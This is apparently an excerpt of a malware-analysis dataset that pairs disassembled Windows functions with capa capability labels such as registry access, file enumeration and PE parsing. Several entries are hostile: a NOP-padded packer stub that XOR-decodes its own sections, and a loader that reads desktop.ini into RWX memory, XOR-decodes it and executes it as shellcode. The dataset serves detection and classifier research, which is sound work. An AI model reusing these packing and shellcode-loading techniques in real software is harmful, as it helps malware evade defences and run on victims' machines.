joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4307e0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x466340]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, ecx
mov dword [ebp - 8], 0
push edi
mov edi, dword [ebp + 0xc]
lea ecx, [esi + 4]
push ecx
lea ecx, [ebp - 8]
push ecx
push edi
push eax
push dword [esi]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x43088d
mov ebx, 0xf4240
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x3e5
jne 0x4308b3
push dword [ebp + 0x10]
mov ecx, esi
push dword [esi + 0x14]
call fcn.004306b0
mov dword [ebp - 0xc], eax
test eax, eax
je 0x430877
push dword [esi]
call dword [sym.imp.KERNEL32.dll_CancelIo]
push dword [ebp + 0x10]
push dword [ebp - 0xc]
push str.Timeout_cancel:__lu__timeout_lums
push str.PipeIPC::WriteToPipeWithTimeout
push 3
call fcn.00428a00
xor ebx, ebx
add esp, 0x14
cmp dword [ebp - 0xc], 0x102
setne bl
lea ebx, [ebx*2 + 4]
push 1
lea eax, [ebp - 8]
push eax
lea eax, [esi + 4]
push eax
push dword [esi]
call dword [sym.imp.KERNEL32.dll_GetOverlappedResult]
test eax, eax
je 0x4308ad
xor eax, eax
mov ecx, 0xf4240
cmp dword [ebp - 8], edi
pop edi
pop esi
cmovne eax, ecx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004345d5
mov esp, ebp
pop ebp
ret 0xc
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push ebx
push dword [ebp - 8]
push edi
push str.Failed:_bytesToSend___lu__bytesWritten___lu__IPC_error__d__Win32_error:__lu
push str.PipeIPC::WriteToPipeWithTimeout
push 3
call fcn.00428a00
mov ecx, dword [ebp - 4]
add esp, 0x1c
mov eax, ebx
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.004345d5
mov esp, ebp
pop ebp
ret 0xc

Function at 0x431670
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
mov edx, dword [ebp + 0xc]
mov eax, ecx
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
mov dword [ebp - 4], eax
lea ebx, [eax + 0x10]
mov dword [eax + 8], esi
mov edi, 1
mov dword [eax + 0xc], edx
push dword [ebp + 0x14]
mov ecx, edx
xor eax, eax
push dword [ebp + 0x10]
shr ecx, 0x1e
xor eax, edx
xor ecx, esi
push eax
push ecx
call fcn.00434640
mov esi, eax
lea ebx, [ebx + 8]
add esi, edi
mov dword [ebx - 8], esi
adc edx, 0
inc edi
mov dword [ebx - 4], edx
cmp edi, 0x138
jb 0x431690
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov dword [eax], 0x138
mov esp, ebp
pop ebp
ret 0x10
Function at 0x4322c0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [0x466340]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
push ebx
push esi
mov esi, dword [ebp + 0x10]
xor bl, bl
cmp dword [eax + 0x14], 0xf
push edi
mov edi, dword [ebp + 0x14]
mov dword [ebp - 0x10], 0
jbe 0x4322f0
mov eax, dword [eax]
lea edx, [ebp - 0x10]
push edx
push 0x101
push 0
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x432343
cmp dword [esi + 0x14], 0xf
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], 4
jbe 0x432319
mov esi, dword [esi]
lea eax, [ebp - 0xc]
push eax
push edi
lea eax, [ebp - 8]
push eax
push 0
push esi
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x432338
cmp dword [ebp - 8], 4
jne 0x43233a
mov bl, 1
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
mov al, bl
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004345d5
mov esp, ebp
pop ebp
ret
Function at 0x432360
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x466340]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
push ebx
mov ebx, dword [ebp + 0x10]
cmp dword [eax + 0x14], 0xf
push esi
mov esi, dword [ebp + 0x14]
push edi
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x10], 0
jbe 0x432391
mov eax, dword [eax]
lea edx, [ebp - 0x10]
push edx
push 0x101
push 0
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov edi, eax
test edi, edi
jne 0x4324b5
cmp dword [ebx + 0x14], 0xf
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], eax
mov eax, ebx
jbe 0x4323be
mov eax, dword [ebx]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea ecx, [ebp - 8]
push ecx
push 0
lea ecx, [ebp - 0xc]
push ecx
push 0
push eax
push dword [ebp - 0x10]
call ebx
mov edi, eax
test edi, edi
jne 0x432487
mov edi, 0xea
cmp dword [ebp - 0xc], 1
jne 0x432487
mov edx, dword [esi + 0x10]
mov ecx, dword [ebp - 8]
cmp ecx, edx
ja 0x43240c
mov dword [esi + 0x10], ecx
mov eax, esi
cmp dword [esi + 0x14], 0xf
jbe 0x432406
mov eax, dword [esi]
mov byte [eax + ecx], 0
jmp 0x432450
mov edi, dword [esi + 0x14]
mov ebx, ecx
mov eax, edi
sub ebx, edx
sub eax, edx
cmp ebx, eax
ja 0x43243c
mov dword [esi + 0x10], ecx
mov eax, esi
cmp edi, 0xf
jbe 0x432427
mov eax, dword [esi]
push ebx
lea edi, [eax + edx]
push 0
push edi
call fcn.004363f0
add esp, 0xc
mov byte [edi + ebx], 0
jmp 0x43244a
push 0
push ebx
push dword [ebp - 0x14]
mov ecx, esi
push ebx
call fcn.00421f00
mov ebx, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push 0
mov ecx, esi
call fcn.004322a0
mov edx, eax
mov eax, dword [ebp - 0x14]
mov ecx, eax
cmp dword [eax + 0x14], 0xf
jbe 0x432468
mov ecx, dword [eax]
lea eax, [ebp - 8]
push eax
push edx
lea eax, [ebp - 0xc]
push eax
push 0
push ecx
push dword [ebp - 0x10]
call ebx
mov edi, eax
cmp edi, 0xea
je 0x4323e5
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test edi, edi
jne 0x4324b5
cmp dword [esi + 0x14], 0xf
mov ecx, esi
jbe 0x43249e
mov ecx, dword [esi]
mov eax, dword [ebp - 8]
push 0
cmp byte [ecx + eax - 1], 0
mov ecx, esi
jne 0x4324ad
dec eax
push eax
call fcn.00407870
test edi, edi
mov ecx, dword [ebp - 4]
sete al
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004345d5
mov esp, ebp
pop ebp
ret
Function at 0x4324d0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x466340]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
mov edx, dword [ebp + 0x10]
push ebx
cmp dword [eax + 0x14], 0xf
push esi
mov esi, dword [ebp + 0x18]
push edi
mov edi, dword [ebp + 0x14]
mov dword [ebp - 8], 0
jbe 0x432501
mov eax, dword [eax]
push 0
lea ebx, [ebp - 8]
push ebx
push edx
push 0x102
push 1
push 0
push 0
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov ebx, eax
test ebx, ebx
jne 0x432552
mov eax, dword [esi + 0x10]
inc eax
cmp dword [esi + 0x14], 0xf
jbe 0x43252d
mov esi, dword [esi]
cmp dword [edi + 0x14], 0xf
jbe 0x432535
mov edi, dword [edi]
push eax
push esi
push 1
push 0
push edi
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 8]
mov ebx, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test ebx, ebx
mov ecx, dword [ebp - 4]
sete al
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004345d5
mov esp, ebp
pop ebp
ret

Function at 0x4339c0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x44ef9e
mov eax, dword fs:[0]
push eax
sub esp, 0xc
push esi
push edi
mov eax, dword [0x466340]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x10]
mov dword [ebp - 0x18], esi
xorps xmm0, xmm0
mov dword [ebp - 0x14], 0
push eax
movups xmmword [esi], xmm0
mov dword [esi + 0x14], 0
push esi
mov dword [ebp - 4], 0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 7
mov dword [ebp - 0x10], 0x107
call fcn.00414240
mov edx, eax
mov dword [esi + 0x10], 0x104
mov eax, dword [ebp - 0x10]
mov ecx, 0x82
mov dword [esi + 0x14], eax
mov edi, edx
xor eax, eax
mov dword [esi], edx
rep stosd dword es:[edi], eax
add esp, 8
mov word [edx + 0x208], ax
cmp dword [esi + 0x14], 7
mov dword [ebp - 4], eax
mov eax, esi
mov dword [ebp - 0x14], 1
jbe 0x433a61
mov eax, dword [esi]
push dword [esi + 0x10]
mov edi, dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push eax
call edi
mov ecx, dword [esi + 0x10]
cmp eax, ecx
jbe 0x433a9d
sub eax, ecx
mov ecx, esi
push 0
push eax
call fcn.00420460
cmp dword [esi + 0x14], 7
mov eax, esi
jbe 0x433a8a
mov eax, dword [esi]
push dword [esi + 0x10]
push eax
call edi
mov ecx, dword [esi + 0x10]
cmp eax, ecx
jbe 0x433a9d
xor eax, eax
cmp eax, ecx
ja 0x433ac3
cmp dword [esi + 0x14], 7
mov ecx, esi
jbe 0x433aa7
mov ecx, dword [esi]
mov dword [esi + 0x10], eax
xor edx, edx
mov word [ecx + eax*2], dx
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
sub eax, ecx
mov ecx, esi
push 0
push eax
call fcn.00420460
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x435591
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x4355d0
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4355d0
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4355d0
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x4355d0
cmp dword [ecx + 0x74], 0xe
jbe 0x4355d0
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x44427f
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x45ae9c
push 0x45ae94
push str.FlsAlloc
push 0x1f
call fcn.0044411d
mov esi, eax
add esp, 0x10
test esi, esi
je 0x4442b3
push dword [ebp + 8]
mov ecx, esi
call dword [0x452260]
call esi
jmp 0x4442b9
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x4442fd
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x45aeac
push 0x45aea4
push str.FlsGetValue
push 0x21
call fcn.0044411d
mov esi, eax
add esp, 0x10
test esi, esi
je 0x444334
push dword [ebp + 8]
mov ecx, esi
call dword [0x452260]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x44433c
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x45aeb4
push 0x45aeac
push str.FlsSetValue
push 0x22
call fcn.0044411d
mov esi, eax
add esp, 0x10
test esi, esi
je 0x444376
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x452260]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x44553f
Capabilities:
Enumerate files on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x264
mov eax, dword [0x466340]
xor eax, ebp
mov dword [ebp - 4], eax
mov edx, dword [ebp + 0xc]
mov ecx, dword [ebp + 0x10]
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 0x25c], ecx
cmp edx, edi
je 0x44558a
movzx eax, word [edx]
lea ecx, [ebp - 0x255]
push eax
call fcn.004456da
test al, al
jne 0x445584
sub edx, 2
cmp edx, edi
jne 0x44556a
mov ecx, dword [ebp - 0x25c]
movzx esi, word [edx]
cmp esi, 0x3a
jne 0x4455ac
lea eax, [edi + 2]
cmp edx, eax
je 0x4455ac
push ecx
xor ebx, ebx
push ebx
push ebx
push edi
call fcn.0044548b
add esp, 0x10
jmp 0x4456a6
push esi
lea ecx, [ebp - 0x255]
call fcn.004456da
sub edx, edi
movzx eax, al
sar edx, 1
inc edx
neg eax
sbb eax, eax
xor ebx, ebx
push ebx
push ebx
and eax, edx
push ebx
mov dword [ebp - 0x260], eax
lea eax, [ebp - 0x254]
push eax
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x4455ef
push dword [ebp - 0x25c]
jmp 0x44559c
mov ebx, dword [ebp - 0x25c]
push 0x2e
mov eax, dword [ebx + 4]
sub eax, dword [ebx]
sar eax, 2
mov dword [ebp - 0x25c], eax
pop eax
cmp word [ebp - 0x228], ax
jne 0x44562c
cmp word [ebp - 0x226], 0
je 0x44564d
cmp word [ebp - 0x226], ax
jne 0x44562c
cmp word [ebp - 0x224], 0
je 0x44564d
push ebx
push dword [ebp - 0x260]
lea eax, [ebp - 0x228]
push edi
push eax
call fcn.0044548b
add esp, 0x10
mov dword [ebp - 0x264], eax
test eax, eax
jne 0x445699
lea eax, [ebp - 0x254]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
push 0x2e
test eax, eax
pop eax
jne 0x445606
mov eax, dword [ebx + 4]
mov edx, dword [ebx]
sub eax, edx
mov ecx, dword [ebp - 0x25c]
sar eax, 2
cmp ecx, eax
jne 0x445681
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
xor eax, eax
jmp 0x4456a6
push 0x4452bb
sub eax, ecx
push 4
push eax
lea eax, [edx + ecx*4]
push eax
call fcn.0044a1f0
add esp, 0x10
jmp 0x445676
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, dword [ebp - 0x264]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004345d5
leave
ret

Function at 0x445fa3
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
jne 0x445fb4
pop esi
ret
push ebx
push edi
push esi
call fcn.00445f6c
mov ebx, eax
sub ebx, esi
and ebx, 0xfffffffe
push ebx
call fcn.00442805
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x445fdc
push ebx
push esi
push edi
call fcn.00435e50
add esp, 0xc
push 0
call fcn.004427cb
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, edi
pop edi
pop ebx
pop esi
ret

Function at 0x4463ac
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00445ff1
Function at 0x44c1e0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x44c20d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x44c20d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x1173058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x11731a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, pe_nt_image_headers32
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x117307e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x117306a
add dl, dl
jne 0x1173089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x11730dc
xor eax, eax
add dl, dl
jne 0x1173096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x117317d
add dl, dl
jne 0x11730a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x11730b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x11730bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x11730c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x11730d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x1173075
mov eax, 1
add dl, dl
jne 0x11730ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x11730f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x11730e1
sub eax, ebx
mov ebx, 1
jne 0x1173128
mov ecx, 1
add dl, dl
jne 0x117310e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1173119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x1173105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x1173075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x117313f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x117314a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x1173136
cmp eax, 0x7d00
jae 0x117316d
cmp eax, 0x500
jb 0x1173168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x1173075
cmp eax, 0x7f
ja 0x1173170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x1173075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x117319e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x1173075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x409e20
Capabilities:
Get common file path
Move file

Disassembly:
sub esp, 0x200
lea eax, [esp]
push 0xff
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
test eax, eax
je 0x409ecb
push ebx
push esi
lea ecx, [esp + 8]
push edi
push ecx
lea edx, [esp + 0x110]
push 0x40e244
push edx
call dword [sym.imp.MSVCRT.dll_sprintf]
mov edi, 0x40e23c
or ecx, 0xffffffff
xor eax, eax
add esp, 0xc
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0xc]
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov eax, dword [esp + 0x210]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
test eax, eax
pop ebx
je 0x409eb5
lea eax, [esp + 0x100]
lea ecx, [esp]
push eax
push ecx
call dword [sym.imp.MSVCRT.dll_rename]
add esp, 8
add esp, 0x200
ret
lea edx, [esp]
lea eax, [esp + 0x100]
push edx
push eax
call dword [sym.imp.MSVCRT.dll_rename]
add esp, 8
add esp, 0x200
ret

Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..rsrc
nop
mov ebx, 0x40c7d0
nop
mov ecx, 0x53ef11e1
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x43204e
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
inc eax
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
cmp eax, ebx
nop
jne 0x432024
nop
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x42f314
nop
mov ecx, 0xac926f3
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x432084
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x43206c
nop
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x431219

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10
Function at 0x10001f10
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10070398
mov eax, dword fs:[0]
push eax
sub esp, 0x424
mov eax, dword [0x10089040]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov eax, dword [ebp + 0xc]
mov edi, dword [ebp + 8]
mov dword [ebp - 0x42c], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x428], eax
mov dword [ebp - 0x20], 0
push 0x404
lea eax, [ebp - 0x424]
mov dword [ebp - 4], 0
push 0
push eax
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x1c], 0
call fcn.10045770
add esp, 0xc
mov dword [ebp - 0x424], 0
push 0x60
push 0
mov byte [ebp - 4], 1
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
push edi
call ebx
mov esi, eax
mov dword [ebp - 0x430], esi
test esi, esi
jne 0x10001fc9
push 2
push eax
push edi
call ebx
mov esi, eax
mov dword [ebp - 0x430], eax
test esi, esi
jne 0x10001fc9
call fcn.10001490
mov edi, eax
jmp 0x100020e3
push dword [ebp - 0x428]
push dword [ebp - 0x42c]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov edi, eax
test edi, edi
jne 0x10001fec
call fcn.10001490
jmp 0x100020d6
push edi
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebx, eax
mov dword [ebp - 0x42c], ebx
test ebx, ebx
jne 0x1000200a
call fcn.10001490
jmp 0x100020d6
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov edi, eax
mov dword [ebp - 0x428], edi
lea eax, [edi + 1]
cmp eax, edi
jae 0x1000202b
mov edi, 0x8007000e
jmp 0x100020d8
mov ecx, 2
mov byte [ebp - 4], 2
mul ecx
test edx, edx
jne 0x1000211c
cmp eax, 0xffffffff
ja 0x1000211c
cmp eax, 0x400
jbe 0x1000205c
push eax
lea ecx, [ebp - 0x424]
call fcn.100042e0
jmp 0x10002082
lea eax, [ebp - 0x420]
mov dword [ebp - 0x424], eax
jmp 0x10002082
mov dword [ebp - 4], 1
cmp dword [ebp - 0x424], 0
jne 0x10002099
mov edi, 0x8007000e
jmp 0x100020d8
push edi
push dword [ebp - 0x424]
push edi
push ebx
push 0
push 3
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov ecx, eax
test ecx, ecx
jne 0x100020b9
call fcn.10001490
jmp 0x100020d6
mov eax, dword [ebp - 0x424]
xor edx, edx
push dword [ebp + 0x14]
mov word [eax + ecx*2], dx
lea ecx, [ebp - 0x1c]
push dword [ebp - 0x424]
call fcn.10002d00
mov edi, eax
test esi, esi
je 0x100020e3
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
lea eax, [ebp - 0x420]
cmp dword [ebp - 0x424], eax
je 0x100020fc
lea ecx, [ebp - 0x424]
call fcn.100042d0
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.10043637
mov esp, ebp
pop ebp
ret 0x10
push 0x80070216
call fcn.100013a0
int3
Function at 0x10007080
Capabilities:
Get common file path
Get program files directory

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10070a20
mov eax, dword fs:[0]
push eax
sub esp, 0x218
mov eax, dword [0x10089040]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, edx
mov esi, ecx
mov dword [ebp - 0x21c], esi
push 0x208
lea eax, [ebp - 0x218]
mov dword [ebp - 0x220], esi
push 0
push eax
call fcn.10045770
add esp, 0xc
lea eax, [ebp - 0x218]
push 1
push 0x26
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
test edi, edi
je 0x100070f8
push edi
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.SHLWAPI.dll_PathAppendW]
call fcn.10003fc0
mov ecx, eax
test ecx, ecx
je 0x1000716b
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [esi], eax
lea eax, [ebp - 0x218]
mov dword [ebp - 4], 0
push eax
mov ecx, esi
call fcn.10005aa0
test al, al
jne 0x1000714e
lea ecx, [ebp - 0x218]
lea edx, [ecx + 2]
nop
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x10007130
sub ecx, edx
lea eax, [ebp - 0x218]
sar ecx, 1
push ecx
push eax
mov ecx, esi
call fcn.10005d10
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10043637
mov esp, ebp
pop ebp
ret
push 0x80004005
call fcn.100013a0
int3

Function at 0x10007180
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10070a20
mov eax, dword fs:[0]
push eax
sub esp, 0x218
mov eax, dword [0x10089040]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, edx
mov esi, ecx
mov dword [ebp - 0x21c], esi
push 0x208
lea eax, [ebp - 0x218]
mov dword [ebp - 0x220], esi
push 0
push eax
call fcn.10045770
add esp, 0xc
lea eax, [ebp - 0x218]
push 1
push 0x1a
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
test edi, edi
je 0x100071f8
push edi
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.SHLWAPI.dll_PathAppendW]
call fcn.10003fc0
mov ecx, eax
test ecx, ecx
je 0x1000726b
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [esi], eax
lea eax, [ebp - 0x218]
mov dword [ebp - 4], 0
push eax
mov ecx, esi
call fcn.10005aa0
test al, al
jne 0x1000724e
lea ecx, [ebp - 0x218]
lea edx, [ecx + 2]
nop
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x10007230
sub ecx, edx
lea eax, [ebp - 0x218]
sar ecx, 1
push ecx
push eax
mov ecx, esi
call fcn.10005d10
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10043637
mov esp, ebp
pop ebp
ret
push 0x80004005
call fcn.100013a0
int3